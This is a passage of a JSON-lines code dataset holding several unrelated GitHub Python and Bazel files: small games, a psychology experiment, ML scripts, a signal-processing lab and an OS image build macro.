ForbiddenEqualsClause(penalty, \"l1\")\r\n)\r\ncs.add_forbidden_clause(penalty_and_loss)\r\ncs.add_forbidden_clause(constant_penalty_and_loss)\r\ncs.add_forbidden_clause(penalty_and_dual)\r\n\r\njson_utils.write_cs_to_json_file(cs, \"LinearSVC\")\r\n","repo_name":"gomerudo/auto-ml","sub_path":"examples/components_json_generator/classification_json_generator/linear_svc.py","file_name":"linear_svc.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"23309023363","text":"import os\nimport random\nfrom art import logo, vs\nfrom game_data import data\n\n\ndef choose_random(option_b):\n \"\"\"Returns an array of 2 instagram account data objects. The 2nd data object from a previous run is passed in and used as the first and a new 2nd object\n is selected from random.\n \"\"\"\n random_a = option_b\n random_b = random.choice(data)\n # Ensures that 2 of the same accounts are not selected.\n while random_b == random_a:\n random_b = random.choice(data)\n return [random_a, random_b]\n\n\ndef check_winner(choice, a, b):\n \"\"\"Implements the game logic to test for the winner and returns True if the user won and False if the user lost.\"\"\"\n if choice == 'A' and a > b:\n return True\n elif choice == 'B' and b > a:\n return True\n else:\n return False\n\n# THIS IMPLEMENTATION STORES THE SCORE WITHIN THE GAME FUNCTION\n\n\ndef game():\n \"\"\"Implements the full game functionality until the user looses at which the function ends.\"\"\"\n score = 0\n # Initial 2nd account that is used to pass into the first run of selecting 2 random accounts\n old_option_b = random.choice(data)\n while True:\n options = choose_random(old_option_b)\n print(f\"Compare A: {options[0]['name']}, a {options[0]['description']} from {options[0]['country']}\")\n print(vs)\n print(f\"Against B: {options[1]['name']}, a {options[1]['description']} from {options[1]['country']}\")\n user_choice = input(\"Who has more followers? Type 'A' or 'B': \")\n user_win = check_winner(user_choice, options[0][\"follower_count\"], options[1][\"follower_count\"])\n if user_win:\n os.system('cls' if os.name == 'nt' else 'clear')\n print(logo)\n score += 1\n old_option_b = options[1]\n print(f\"You're right! Current Score: {score}\")\n else:\n os.system('cls' if os.name == 'nt' else 'clear')\n print(f\"Sorry, that is wrong. Final Score: {score}\")\n break\n\n\nprint(logo)\ngame()\n\n\n# THIS IMPLEMENTATION STORES THE SCORE GLOBALLY\n\n# score = 0\n#\n#\n# def game(current_score):\n# options = choose_random()\n# print(f\"Compare A: {options[0]['name']}, a {options[0]['description']} from {options[0]['country']}\")\n# print(vs)\n# print(f\"Against B: {options[1]['name']}, a {options[1]['description']} from {options[1]['country']}\")\n# user_choice = input(\"Who has more followers? Type 'A' or 'B': \")\n# user_win = check_winner(user_choice, options[0][\"follower_count\"], options[1][\"follower_count\"])\n# if user_win:\n# os.system('cls' if os.name == 'nt' else 'clear')\n# else:\n# os.system('cls' if os.name == 'nt' else 'clear')\n# print(f\"Sorry, that is wrong. Final Score: {current_score}\")\n# exit()\n#\n#\n# print(logo)\n#\n# while True:\n# game(score)\n# print(logo)\n# score += 1\n# print(f\"You're right! Current Score: {score}\")\n","repo_name":"MithraPerera/Python_Practice_Projects","sub_path":"Higher_Lower_Game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22119333289","text":"import tensorflow as tf\r\nfrom pipeline import DataPipeLine\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom metrics import MultipleClassSegmentationMetrics\r\n\r\nDATA_PATH = \"C:/CardioAI/nifti/\"\r\nMASK_PATH = 'C:/CardioAI/masks/'\r\nDATAFRAME = 'C:/CardioAI/Final series.csv'\r\nMODEL_NAME = 'ResnetUnet'\r\nIMAGE_SIZE = 512\r\nVIEW_NUMBER = 2\r\nCHANNELS = 4\r\n\r\ndata_pipeline = DataPipeLine(DATA_PATH,\r\n DATAFRAME,\r\n MASK_PATH,\r\n view_number=VIEW_NUMBER,\r\n batch=1,\r\n mask2=False,\r\n image_size=IMAGE_SIZE,\r\n augmentation=0.0)\r\ndataset = data_pipeline.dataset_generator()\r\n\r\nmetrics = MultipleClassSegmentationMetrics(CHANNELS)\r\nmodel = tf.keras.models.load_model(\"./saved_models/\" + MODEL_NAME + '_view number_' + str(VIEW_NUMBER),\r\n custom_objects={'dice_multi_coef': metrics.dice_multi_coef})\r\n\r\nfor data in dataset.skip(12).take(1):\r\n pic = data[0]['input_1']\r\n mask = data[1]['multi']\r\n # single_mask = data[1]['single']\r\n print(pic.shape, mask.shape)\r\n\r\npred = model.predict(pic)\r\n\r\nplt.figure(figsize=(10, 10))\r\nax = plt.subplot(1, 3, 1)\r\nplt.imshow(pic[0])\r\n# ax = plt.subplot(1, 5, 2)\r\n# plt.imshow(single_mask[0])\r\nax = plt.subplot(1, 3, 2)\r\nplt.imshow(mask[0])\r\n# ax = plt.subplot(1, 5, 3)\r\n# plt.imshow(pred[1][0] > 0.5)\r\nax = plt.subplot(1, 3, 3)\r\nplt.imshow(np.argmax(pred[0], axis=-1))\r\n\r\nplt.show()\r\n","repo_name":"pejmanS21/CAAS-Net","sub_path":"runmodel.py","file_name":"runmodel.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17968628407","text":"import time\nfrom random import randint, choice\nimport os\nfrom psychopy import core, visual\nfrom task_template import TaskTemplate\n\n\nclass VisualSearch(TaskTemplate):\n yes_key_name = \"espace\"\n yes_key_code = \"space\"\n quit_code = \"q\"\n keys = [\"space\", yes_key_name, quit_code]\n launch_example = True\n next = f\"Pour passer à l'instruction suivante, appuyez sur la touche {yes_key_name}\"\n instructions = [f\"Dans ce mini-jeu, appuyez sur la touche {yes_key_name} si la flèche centralee.\",\n \"S'il-vous-plaît, n'appuyez que lorsqu'on vous le demande ou lors de la tâche\",\n f\"Placez vos index sur les touches 'a' et 'p' s'il-vous-plaît\",\n ]\n csv_headers = ['no_trial', 'id_candidate', 'present', 'ans_candidate', 'good_ans', 'correct',\n 'practice', 'reaction_time', 'time_stamp']\n\n # Conjunction Search Task\n\n def task(self, no_trial, exp_start_timestamp, trial_start_timestamp, practice=False):\n nb_figures = 70\n present = randint(0, 1)\n liste_pos = [(0, 0)]\n # finir avec non superposition\n if present:\n good_ans = \"space\"\n else:\n good_ans = \"\"\n while nb_figures != 0:\n shape = randint(0, 1)\n if shape:\n self.create_visual_text(text='X', pos=(randint(-500, 500), randint(-500, 500)), font_size=50,\n color='red', units='pix').draw()\n else:\n self.create_visual_circle(color=choice(['red', 'blue']), pos=(randint(-500, 500), randint(-500, 500)))\\\n .draw()\n nb_figures -= 1\n if present:\n self.create_visual_text('X', pos=(randint(-500, 500), randint(-500, 500)), font_size=50,\n color='blue', units='pix').draw()\n self.win.flip()\n try:\n resp, rt = self.get_response_with_time(timeout=4)\n except (TypeError, AttributeError):\n resp = \"\"\n rt = 1\n\n if resp == good_ans:\n good_answer = True\n else:\n good_answer = False\n\n self.update_csv(no_trial, self.participant, present, resp, good_ans, good_answer,\n practice, round(rt, 2), round(time.time() - exp_start_timestamp, 2))\n self.create_visual_text(\"\").draw()\n self.win.flip()\n rnd_time = randint(8, 14)\n core.wait(rnd_time * 10 ** -3)\n if practice:\n return good_answer\n\n def example(self, exp_start_timestamp):\n score = 0\n example = self.create_visual_text(text='Commençons par un exemple')\n tutoriel_end = self.create_visual_text(text=\"Le tutoriel est désormais terminé\")\n example.draw()\n self.create_visual_text(self.next, pos=(0, -0.4), font_size=0.04).draw()\n self.win.flip()\n self.wait_yes()\n for i in range(3):\n if self.task(i, exp_start_timestamp, time.time(), True):\n score += 1\n self.create_visual_text(f\"Bravo ! Vous avez {score}/{i + 1}\").draw()\n self.win.flip()\n core.wait(2)\n else:\n self.create_visual_text(f\"Dommage... Vous avez {score}/{i + 1}\").draw()\n self.win.flip()\n core.wait(2)\n self.create_visual_text(\"+\").draw()\n self.win.flip()\n core.wait(1)\n results = self.create_visual_text(f\"Vous avez obtenu {score}/3\")\n results.draw()\n self.win.flip()\n core.wait(5)\n tutoriel_end.draw()\n self.win.flip()\n core.wait(5)\n\n def quit_experiment(self):\n exit()\n\n\nif not os.path.isdir(\"csv\"):\n os.mkdir(\"csv\")\nexp = VisualSearch(\"csv\")\nexp.start()\n","repo_name":"iCRIN-lab/visual_search","sub_path":"VisualSearch.py","file_name":"VisualSearch.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25672070084","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom typing import Tuple\n\n\ndef create_sin_signal(time: int, f_s: int, ampl: int, frequency: int) -> Tuple:\n # Создание синусоидального сигнала\n t = np.linspace(0, time, f_s * time)\n signal = ampl * np.sin(2 * np.pi * frequency * t)\n return t, signal\n\n\ndef sinc(t: float, period: float) -> np.array:\n # sinc функция h(t)\n temp = t * np.pi\n return 1 if temp == 0 else np.sin(temp / period) / temp\n\n\ndef restore_signal(signal: np.array, period: float, t: np.array, new_t: np.array) -> np.array:\n # Восстановление сигнала по формуле\n t_length = len(t)\n restored_signal = np.zeros(t_length)\n for i in range(t_length):\n for n in range(len(signal)):\n restored_signal[i] += signal[n] * sinc(t[i] - new_t[n], period)\n return restored_signal * period\n\n\ndef main():\n time = 1\n frequency = 5\n f_s = frequency * 100\n ampl = 1\n # Генерируем синусодиальный сигнал\n t, sin_signal = create_sin_signal(time, f_s, ampl, frequency)\n # Выбираем частоты для выполнения теоремы Котельникова и её нарушения\n right_f_s = 2 * frequency + 50\n wrong_f_s = 2 * frequency - 5\n # Генерируем сигналы с соответствующими частотами\n right_t, right_sin_signal = create_sin_signal(time, right_f_s, ampl, frequency)\n wrong_t, wrong_sin_signal = create_sin_signal(time, wrong_f_s, ampl, frequency)\n # Находим соответствующие периоды\n right_period = 1 / right_f_s\n wrong_period = 1 / wrong_f_s\n # Восстанавливаем сигналы с соответствующими частотами\n restored_right_signal = restore_signal(right_sin_signal, right_period, t, right_t)\n restored_wrong_signal = restore_signal(wrong_sin_signal, wrong_period, t, wrong_t)\n # Выводим графики\n fig, axis = plt.subplots(1, 2)\n axis[0].plot(sin_signal)\n axis[0].plot(restored_right_signal)\n axis[0].set_title('Теорема выполняется')\n axis[1].plot(sin_signal)\n axis[1].plot(restored_wrong_signal)\n axis[1].set_title('Теорема не выполняется')\n plt.show()\n\n\nif __name__=='__main__':\n main()\n","repo_name":"whatsyourask/university","sub_path":"4 year/digital signal processing/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41814902746","text":"\"\"\"\nA macro to build multiple versions of the ICOS image (i.e., dev vs prod)\n\"\"\"\n\nload(\"//toolchains/sysimage:toolchain.bzl\", \"disk_image\", \"docker_tar\", \"ext4_image\", \"sha256sum\", \"tar_extract\", \"upgrade_image\")\nload(\"//gitlab-ci/src/artifacts:upload.bzl\", \"upload_artifacts\", \"urls_test\")\nload(\"//bazel:output_files.bzl\", \"output_files\")\nload(\"@bazel_skylib//rules:copy_file.bzl\", \"copy_file\")\n\nimg_bases = {\n \"dev\": \"dfinity/guestos-base-dev@sha256:48f83b96fe53d82d028750593f21321984c19a40efeaada463d57609c592aef8\",\n \"prod\": \"dfinity/guestos-base@sha256:104fad74a45cd19419aa8abf15fc509d0bebfb971230a9810ddcd6e84b3bd856\",\n}\n\n# Declare the dependencies that we will have for the built filesystem images.\n# This needs to be done separately from the build rules because we want to\n# compute the hash over all inputs going into the image and derive the\n# \"version.txt\" file from it.\ndef _image_deps(mode, malicious = False):\n extra_rootfs_deps = {\n \"dev\": {\"//ic-os/guestos:rootfs/allow_console_root\": \"/etc/allow_console_root:0644\"},\n \"prod\": {},\n }\n deps = {\n \"bootfs\": {\n # base layer\n \":rootfs-tree.tar\": \"/\",\n\n # We will install extra_boot_args onto the system, after substuting\n # the hash of the root filesystem into it. Add the template (before\n # substitution) as a dependency nevertheless such that changes\n # to the template file are reflected in the overall version hash\n # (the root_hash must include the version hash, it cannot be the\n # other way around).\n \"//ic-os/guestos:bootloader/extra_boot_args.template\": \"/boot/extra_boot_args.template:0644\",\n },\n \"rootfs\": {\n # base layer\n \":rootfs-tree.tar\": \"/\",\n\n # additional files to install\n \"//:canister_sandbox\": \"/opt/ic/bin/canister_sandbox:0755\",\n \"//:ic-btc-adapter\": \"/opt/ic/bin/ic-btc-adapter:0755\",\n \"//:ic-consensus-pool-util\": \"/opt/ic/bin/ic-consensus-pool-util:0755\",\n \"//:ic-canister-http-adapter\": \"/opt/ic/bin/ic-canister-http-adapter:0755\",\n \"//:ic-crypto-csp\": \"/opt/ic/bin/ic-crypto-csp:0755\",\n \"//:ic-regedit\": \"/opt/ic/bin/ic-regedit:0755\",\n \"//:ic-recovery\": \"/opt/ic/bin/ic-recovery:0755\",\n \"//:orchestrator\": \"/opt/ic/bin/orchestrator:0755\",\n (\"//:malicious_replica\" if malicious else \"//:replica\"): \"/opt/ic/bin/replica:0755\",\n \"//:sandbox_launcher\": \"/opt/ic/bin/sandbox_launcher:0755\",\n \"//:state-tool\": \"/opt/ic/bin/state-tool:0755\",\n \"//:vsock_agent\": \"/opt/ic/bin/vsock_agent:0755\",\n \"//ic-os/guestos/src:infogetty\": \"/opt/ic/bin/infogetty:0755\",\n \"//ic-os/guestos/src:prestorecon\": \"/opt/ic/bin/prestorecon:0755\",\n },\n }\n deps[\"rootfs\"].update(extra_rootfs_deps[mode])\n return deps\n\ndef icos_build(name, mode = None, malicious = False, visibility = None):\n \"\"\"\n An ICOS build parameterized by mode.\n\n Args:\n name: Name for the generated filegroup.\n mode: dev or prod. If not specified, will use the value of `name`\n malicious: if True, bundle the `malicious_replica`\n visibility: See Bazel documentation\n \"\"\"\n if mode == None:\n mode = name\n\n image_deps = _image_deps(mode, malicious)\n\n dev_rootfs_args = []\n\n if mode == \"dev\":\n dev_rootfs_args = [\"--extra-dockerfile\", \"ic-os/guestos/rootfs/Dockerfile.dev\", \"--dev-root-ca\", \"ic-os/guestos/dev-root-ca.crt\"]\n\n docker_tar(\n visibility = visibility,\n name = \"rootfs-tree.tar\",\n src = \"//ic-os/guestos:rootfs\",\n dep = native.glob([\"rootfs/**\"] + [\"dev-root-ca.crt\"] if mode == \"dev\" else []),\n extra_args_before = dev_rootfs_args,\n extra_args_after = [\n \"--build-arg\",\n \"ROOT_PASSWORD=root\",\n \"--build-arg\",\n \"BASE_IMAGE=\" + img_bases[mode],\n ],\n # The image is pretty big, therefore it is usually much faster to just rebuild it instead of fetching from the cache.\n # TODO(IDX-2221): remove this when CI jobs and bazel infrastructure will run in the same clusters.\n tags = [\"no-remote-cache\"],\n target_compatible_with = [\n \"@platforms//os:linux\",\n ],\n )\n\n ext4_image(\n name = \"partition-config.tar\",\n partition_size = \"100M\",\n target_compatible_with = [\n \"@platforms//os:linux\",\n ],\n )\n\n tar_extract(\n visibility = visibility,\n name = \"file_contexts\",\n src = \"rootfs-tree.tar\",\n path = \"etc/selinux/default/contexts/files/file_contexts\",\n target_compatible_with = [\n \"@platforms//os:linux\",\n ],\n )\n\n # TODO(IDX-2538): re-enable this (or any other similar) solution when everything will be ready to have ic version that is not git revision.\n #summary_sha256sum(\n # name = \"version.txt\",\n # inputs = image_deps,\n # suffix = \"-dev\" if mode == \"dev\" else \"\",\n #)\n\n copy_file(\n name = \"copy_version_txt\",\n src = \"//bazel:version.txt\",\n out = \"version.txt\",\n allow_symlink = True,\n )\n\n copy_file(\n name = \"copy_ic_version_id\",\n src = \":version.txt\",\n out = \"ic_version_id\",\n allow_symlink = True,\n visibility = [\"//visibility:public\"],\n tags = [\"manual\"],\n )\n\n ext4_image(\n name = \"partition-boot.tar\",\n src = \"rootfs-tree.tar\",\n # Take the dependency list declared above, and add in the \"version.txt\"\n # as well as the generated extra_boot_args file in the correct place.\n extra_files = {\n k: v\n for k, v in (\n image_deps[\"bootfs\"].items() + [\n (\"version.txt\", \"/boot/version.txt:0644\"),\n (\"extra_boot_args\", \"/boot/extra_boot_args:0644\"),\n ]\n )\n if \":bootloader/extra_boot_args.template\" not in k\n # additional files to install\n if v != \"/\"\n },\n file_contexts = \":file_contexts\",\n partition_size = \"1G\",\n subdir = \"boot/\",\n target_compatible_with = [\n \"@platforms//os:linux\",\n ],\n )\n\n ext4_image(\n name = \"partition-root-unsigned.tar\",\n src = \"rootfs-tree.tar\",\n # Take the dependency list declared above, and add in the \"version.txt\"\n # at the correct place.\n extra_files = {\n k: v\n for k, v in (image_deps[\"rootfs\"].items() + [(\":version.txt\", \"/opt/ic/share/version.txt:0644\")])\n if v != \"/\"\n },\n file_contexts = \":file_contexts\",\n partition_size = \"3G\",\n strip_paths = [\n \"/run\",\n \"/boot\",\n ],\n # The image is pretty big, therefore it is usually much faster to just rebuild it instead of fetching from the cache.\n # TODO(IDX-2221): remove this when CI jobs and bazel infrastructure will run in the same clusters.\n tags = [\"no-remote-cache\"],\n target_compatible_with = [\n \"@platforms//os:linux\",\n ],\n )\n\n native.genrule(\n name = \"partition-root-sign\",\n srcs = [\"partition-root-unsigned.tar\"],\n outs = [\"partition-root.tar\", \"partition-root-hash\"],\n cmd = \"$(location //toolchains/sysimage:verity_sign.py) -i $< -o $(location :partition-root.tar) -r $(location partition-root-hash)\",\n executable = False,\n tools = [\"//toolchains/sysimage:verity_sign.py\"],\n )\n\n native.genrule(\n name = \"extra_boot_args_root_hash\",\n srcs = [\n \"//ic-os/guestos:bootloader/extra_boot_args.template\",\n \":partition-root-hash\",\n ],\n outs = [\"extra_boot_args\"],\n cmd = \"sed -e s/ROOT_HASH/$$(cat $(location :partition-root-hash))/ < $(location //ic-os/guestos:bootloader/extra_boot_args.template) > $@\",\n )\n\n disk_image(\n name = \"disk-img.tar\",\n layout = \"//ic-os/guestos:partitions.csv\",\n partitions = [\n \"//ic-os/bootloader:partition-esp.tar\",\n \"//ic-os/bootloader:partition-grub.tar\",\n \":partition-config.tar\",\n \":partition-boot.tar\",\n \"partition-root.tar\",\n ],\n # The image is pretty big, therefore it is usually much faster to just rebuild it instead of fetching from the cache.\n # TODO(IDX-2221): remove this when CI jobs and bazel infrastructure will run in the same clusters.\n tags = [\"no-remote-cache\"],\n target_compatible_with = [\n \"@platforms//os:linux\",\n ],\n )\n\n upgrade_image(\n name = \"upgrade.tar\",\n boot_partition = \":partition-boot.tar\",\n root_partition = \":partition-root.tar\",\n # The image is pretty big, therefore it is usually much faster to just rebuild it instead of fetching from the cache.\n # TODO(IDX-2221): remove this when CI jobs and bazel infrastructure will run in the same clusters.\n tags = [\"no-remote-cache\"],\n target_compatible_with = [\n \"@platforms//os:linux\",\n ],\n version_file = \":version.txt\",\n )\n\n native.genrule(\n name = \"disk-img.tar_zst\",\n srcs = [\"disk-img.tar\"],\n outs = [\"disk-img.tar.zst\"],\n cmd = \"zstd --threads=0 -10 -f -z $< -o $@\",\n # The image is pretty big, therefore it is usually much faster to just rebuild it instead of fetching from the cache.\n # TODO(IDX-2221): remove this when CI jobs and bazel infrastructure will run in the same clusters.\n tags = [\"no-remote-cache\"],\n )\n\n sha256sum(\n name = \"disk-img.tar.zst.sha256\",\n srcs = [\":disk-img.tar.zst\"],\n )\n\n native.genrule(\n name = \"disk-img.tar_gz\",\n srcs = [\"disk-img.tar\"],\n outs = [\"disk-img.tar.gz\"],\n cmd = \"gzip --no-name -9 < $< > $@\",\n # The image is pretty big, therefore it is usually much faster to just rebuild it instead of fetching from the cache.\n # TODO(IDX-2221): remove this when CI jobs and bazel infrastructure will run in the same clusters.\n tags = [\"no-remote-cache\"],\n )\n\n native.genrule(\n name = \"upgrade.tar_zst\",\n srcs = [\"upgrade.tar\"],\n outs = [\"upgrade.tar.zst\"],\n cmd = \"zstd --threads=0 -10 -f -z $< -o $@\",\n # The image is pretty big, therefore it is usually much faster to just rebuild it instead of fetching from the cache.\n # TODO(IDX-2221): remove this when CI jobs and bazel infrastructure will run in the same clusters.\n tags = [\"no-remote-cache\"],\n )\n\n sha256sum(\n name = \"upgrade.tar.zst.sha256\",\n srcs = [\":upgrade.tar.zst\"],\n )\n\n upload_suffix = \"\"\n if mode == \"dev\":\n upload_suffix = \"-dev\"\n if malicious:\n upload_suffix += \"-malicious\"\n\n upload_artifacts(\n name = \"upload_disk-img\",\n inputs = [\n \":disk-img.tar_zst\",\n \":disk-img.tar_gz\",\n ],\n remote_subdir = \"guest-os/disk-img\" + upload_suffix,\n )\n\n upload_artifacts(\n name = \"upload_update-img\",\n inputs = [\n \":upgrade.tar_zst\",\n ],\n remote_subdir = \"guest-os/update-img\" + upload_suffix,\n )\n\n native.filegroup(\n name = \"hash_and_upload_disk-img\",\n srcs = [\n \":upload_disk-img\",\n \":disk-img.tar.zst.sha256\",\n ],\n visibility = [\"//visibility:public\"],\n tags = [\"manual\"],\n )\n\n native.filegroup(\n name = \"hash_and_upload_upgrade-img\",\n srcs = [\n \":upload_update-img\",\n \":upgrade.tar.zst.sha256\",\n ],\n visibility = [\"//visibility:public\"],\n tags = [\"manual\"],\n )\n\n urls_test(\n name = \"upload_disk-img_test\",\n inputs = [\":upload_disk-img\"],\n )\n\n output_files(\n name = \"disk-img-url\",\n target = \":upload_disk-img\",\n basenames = [\"upload_disk-img_disk-img.tar.zst.url\"],\n tags = [\"manual\"],\n )\n\n native.py_binary(\n name = \"launch_single_vm\",\n main = \"launch_single_vm.py\",\n srcs = [\n \"//ic-os/guestos:launch_single_vm.py\",\n \"//ic-os/guestos/tests:ictools.py\",\n ],\n data = [\n \":disk-img.tar.zst.sha256\",\n \":disk-img-url\",\n \":version.txt\",\n \"//rs/prep:ic-prep\",\n ],\n env = {\n \"VERSION_FILE\": \"$(location :version.txt)\",\n \"IMG_HASH_FILE\": \"$(location :disk-img.tar.zst.sha256)\",\n \"DISK_IMG_URL_FILE\": \"$(location :disk-img-url)\",\n },\n tags = [\"manual\"],\n )\n\n native.filegroup(\n name = name,\n srcs = [\":disk-img.tar.zst\", \":disk-img.tar.gz\", \":upgrade.tar.zst\"],\n visibility = visibility,\n )\n","repo_name":"lauyoume/ic","sub_path":"ic-os/defs.bzl","file_name":"defs.bzl","file_ext":"bzl","file_size_in_byte":12907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"33028929567","text":"import time\n\nt = 120\ndef main(t):\n while t:\n mins, secs = divmod(t, 60)\n timeformat = '{:02d}:{:02d}'.format(mins, secs)\n print(timeformat, '\\r')\n time.sleep(1)\n t -= 1\n print('Goodbye!\\n\\n\\n\\n\\n')\n\t\nmain(t)","repo_name":"alexwisswolf/alexwiss.com","sub_path":"alexwiss/countdown.py","file_name":"countdown.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13673053488","text":"from collections import defaultdict\n\n\ndef possible_bipartition(n, dislikes):\n people_and_their_dislikes = defaultdict(list)\n for each in dislikes:\n people_and_their_dislikes[each[0]].append(each[1])\n people_and_their_dislikes[each[1]].append(each[0])\n\n # assigning group None for each numbers initially\n people_and_their_group = {i: None for i in range(1, n+1)}\n\n def dfs_try_partition(person, possible_group):\n if not people_and_their_group[person]:\n people_and_their_group[person] = possible_group\n else:\n return people_and_their_group[person] == possible_group\n\n for disliked_person in people_and_their_dislikes[person]:\n if not dfs_try_partition(disliked_person, 2 if possible_group == 1 else 1):\n return False\n return True\n\n for each_person in range(1, n+1):\n if not people_and_their_group[each_person] and not dfs_try_partition(each_person, 1):\n return False\n return True\n\n\n# test below\nprint(possible_bipartition(4, [[1, 2], [1, 3], [2, 4]])) # True\nprint(possible_bipartition(3, [[1, 2], [1, 3], [2, 3]])) # False\nprint(possible_bipartition(\n 5, [[1, 2], [2, 3], [3, 4], [4, 5], [1, 5]])) # False\n","repo_name":"aprashantz/leetcode-practice","sub_path":"programming-py/886.py","file_name":"886.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30580599257","text":"import pygame\nimport HARD_CODED_VALUES as HCV\n\n\nclass Stats:\n def __init__(self, parent_screen):\n self.parent_screen = parent_screen\n self.total_removed = 0\n self.amount_removed = 0\n self.distance_travelled = 0\n self.collisions = 0\n self.snowpiles = 0\n self.score_font = pygame.font.SysFont('Corbel', HCV.FONT_SIZE)\n self.log_title_font = pygame.font.SysFont('arial', HCV.LOG_TITLE_SIZE)\n self.log_font = pygame.font.SysFont('arial', HCV.LOG_FONT_SIZE)\n self.legend = pygame.image.load('legend.jpg')\n self.legend = pygame.transform.scale(self.legend, (HCV.LEGEND_X_TRANSFORM, HCV.LEGEND_Y_TRANSFORM))\n\n def display_info(self):\n carry = self.score_font.render(\"Amount of Snow Moved: \" + str(self.amount_removed), True, HCV.WHITE, HCV.BLACK)\n score = self.score_font.render(\"Score: \" + str(self.total_removed), True, HCV.WHITE, HCV.BLACK)\n distance = self.score_font.render(\"Distance Travelled: \" + str(self.distance_travelled), True, HCV.WHITE, HCV.BLACK)\n collision = self.score_font.render(\"Collisions: \" + str(self.collisions), True, HCV.WHITE, HCV.BLACK)\n snowpile = self.score_font.render(\"Snowpiles: \" + str(self.snowpiles), True, HCV.WHITE, HCV.BLACK)\n self.parent_screen.blit(carry, (HCV.CARRY_X, HCV.CARRY_Y))\n self.parent_screen.blit(score, (HCV.SCORE_X, HCV.SCORE_Y))\n self.parent_screen.blit(distance, (HCV.DISTANCE_X, HCV.DISTANCE_Y))\n self.parent_screen.blit(collision, (HCV.COLLISION_X, HCV.COLLISION_Y))\n self.parent_screen.blit(snowpile, (HCV.SNOWPILE_X, HCV.SNOWPILE_Y))\n self.parent_screen.blit(self.legend, [HCV.LEGEND_X, HCV.LEGEND_Y])\n\n def write_log(self, string_1, string_2, string_3, string_4):\n title = self.log_title_font.render('MOVEMENT LOG', True, HCV.WHITE, HCV.BLACK)\n coor = self.log_font.render(string_1, True, HCV.WHITE, HCV.BLACK)\n available_directions = self.log_font.render(string_2, True, HCV.WHITE, HCV.BLACK)\n move = self.log_font.render(string_3, True, HCV.WHITE, HCV.BLACK)\n finish = self.log_font.render(string_4, True, HCV.WHITE, HCV.BLACK)\n self.parent_screen.blit(title, (HCV.LOG_TITLE_X, HCV.LOG_TITLE_Y))\n self.parent_screen.blit(coor, (HCV.LOG_COOR_X, HCV.LOG_COOR_Y))\n self.parent_screen.blit(available_directions, (HCV.LOG_AVAILABLE_DIRECTIONS_X, HCV.LOG_AVAILABLE_DIRECTIONS_Y))\n self.parent_screen.blit(move, (HCV.LOG_MOVE_X, HCV.LOG_MOVE_Y))\n self.parent_screen.blit(finish, (HCV.LOG_FINISH_X, HCV.LOG_FINISH_Y))","repo_name":"Aminder-Khungura/Optimization-of-Parking-Lot-Snowplowing","sub_path":"Stats.py","file_name":"Stats.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27769823552","text":"from copy import deepcopy\n\ndef restructure_cord_response(json_doc, output_types):\n \"\"\"Restructure the JSON output from cord API.\n\n :param: json_doc: the API response from cord API\n \"\"\"\n if not isinstance(json_doc, list):\n return json_doc\n new_res = []\n for _res in json_doc:\n if not isinstance(_res, dict):\n continue\n # handle case where the queried item is not found\n if _res.get('notfound'):\n continue\n tmp_res = {'query': _res['query']}\n for k, v in _res.items():\n if k == \"associated_with\":\n k = \"related_to\"\n tmp_v = []\n if isinstance(v, list):\n for item in v:\n if item[\"@type\"] in output_types or (item[\"@type\"] == 'DiseaseOrPhenotypicFeature' and output_types == ['Disease']):\n item_copy = deepcopy(item)\n for m in item.keys():\n if m in ['pr', 'go', 'mop', 'hgnc', 'uberon', 'so', 'cl', 'doid', 'chebi']:\n item_copy[m.upper()] = item_copy.pop(m)\n tmp_v.append(item_copy)\n if tmp_v != []:\n tmp_res[k] = tmp_v\n new_res.append(tmp_res)\n return new_res","repo_name":"biothings/biothings_explorer_archived","sub_path":"biothings_explorer/api_preprocess/cord.py","file_name":"cord.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"52"} +{"seq_id":"34439740421","text":"import numpy as np\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \nimport sys\nsys.path.insert(1, '../ML_Training')\nfrom execute_model import model_predict_distribute\nfrom preprocess import pre_proc\nfrom numba import jit, prange, njit\nfrom blimpy import Waterfall\nimport time\nimport random\nfrom sklearn.cluster import SpectralClustering\nfrom pandas import DataFrame as pd\nimport tensorflow as tf\nfrom multiprocessing import Pool\nimport functools\nimport warnings\nimport logging\nfrom numpy.linalg import norm\nfrom sklearn.metrics import silhouette_score\nimport warnings\n\ntf.get_logger().setLevel('INFO')\n\ndef strong_cadence_pattern(label_1, label_2, thresh=0.5):\n if label_2 > thresh:\n return True\n else:\n return False\ndef check_data(label,thresh=0.5):\n check = []\n for i in range(label.shape[0]):\n check.append(strong_cadence_pattern(label[i,0], label[i,1], thresh))\n return check\n\n@jit(parallel=True)\ndef combine(data):\n new_data = np.zeros((data.shape[0]*data.shape[1],data.shape[2],data.shape[3],data.shape[4]))\n for i in prange(data.shape[0]):\n new_data[i*data.shape[1] : (i+1)*data.shape[1],:,:,:] = data[i,:,:,:,:]\n return new_data\n\ndef sample_creation(inputs):\n z_mean = inputs[0]\n z_log_var = inputs[1]\n batch = tf.shape(z_mean)[0]\n dim = tf.shape(z_mean)[1]\n epsilon = tf.keras.backend.random_normal(shape=(batch, dim))\n return z_mean + tf.exp(0.5 * 